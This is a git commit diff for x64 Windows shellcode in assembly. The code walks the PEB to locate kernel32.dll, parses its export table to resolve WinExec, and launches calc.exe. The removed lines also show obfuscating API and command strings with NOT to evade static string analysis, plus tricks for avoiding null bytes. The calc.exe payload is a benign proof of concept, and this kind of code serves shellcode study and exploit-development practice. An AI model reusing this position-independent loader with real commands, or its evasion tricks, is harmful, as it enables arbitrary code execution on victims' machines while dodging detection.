almost there...

This commit is contained in:
Print3M
2024-07-21 16:10:32 +02:00
parent c618b6a57e
commit b4d6eeadd8
2 changed files with 159 additions and 102 deletions
+67 -102
View File
@@ -1,13 +1,15 @@
[bits 64]
;; TODO: DEBUG this shiiiit (x64dbg)
; Access PEB structure
xor rbx, rbx
mov rbx, gs:[0x60] ; RBX = address of PEB struct
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
mov rbx, rbx+0x20 ; RBX = address of InMemoryOrderModuleList
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
; Go down the double-link list of PEB_LDR_DATA
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
@@ -40,110 +42,73 @@ xor r12, r12
mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
jmp short get_winapi_func
get_winapi_func:
; Requirements:
; R8 = &kernel32.dll
; R10 = &AddressOfFunctions (ExportTable)
; R11 = &AddressOfNames (ExportTable)
; R12 = &AddressOfNameOrdinals (ExportTable)
; Returns:
; RAX = &winapi_func
; ==================================
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
add r10, r8 ; R10 = &AddressTable
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
add r12, r8 ; R12 = &OrdinalTable
jmp short apis
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller
apis: ; API Names to resolve addresses
; WinExec | String length : 7
; Get address of WinExec function exported from kernel32.dll
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
xor rax, rax
mov rax, 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00
push rax ; STACK + function name address (8)
mov rsi, rsp ; RSI = &function_name
call get_winapi_func
mov r13, rax ; R13 = &WinExec
; Execute WinExec function
;
; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rax, rax
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax ; RSP = "calc.exe",0x0
mov rcx, rsp ; RCX = "calc.exe",0x0
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)
xor rdx, rdx
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
push ax ; STACK + null terminator (2)
push rax ; STACK + command string (8)
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
; Why is here "sub rsp, 0x20" originally ???
call r13 ; Call WinExec(rax, rdx)
get_winapi_func:
; Requirements (preserved):
; R8 = &kernel32.dll
; R10 = &AddressOfFunctions (ExportTable)
; R11 = &AddressOfNames (ExportTable)
; R12 = &AddressOfNameOrdinals (ExportTable)
; Parameters (preserved):
; RSI = (char*) function_name
; RCX = (int) length of function_name string
; Returns:
; RAX = &function
;
; IMPORTANT: This function doesn't handle "not found" case!
; Infinite loop and access violation is possible.
xor rax, rax ; RAX = counter = 0
push rcx ; STACK + RCX (8) = preserve length of function_name string
; Loop through AddressOfNames array:
; array item = function name RVA (4 bytes)
loop:
mov rcx, [rsp] ; RCX = length of function_name string
xor rdi, rdi ; RDI = 0
mov edi, [r11+rax*4] ; RDI = function name RVA
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
je resolve_func_addr ; Jump if exported function name == param function name
inc rax ; RAX = RAX + 1
jmp short loop
resolve_func_addr:
pop rcx ; STACK - RCX (8) = remove length of function_name string
mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2)
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4)
add rax, r8 ; RAX = &function = function RVA + &kernel32.dll
ret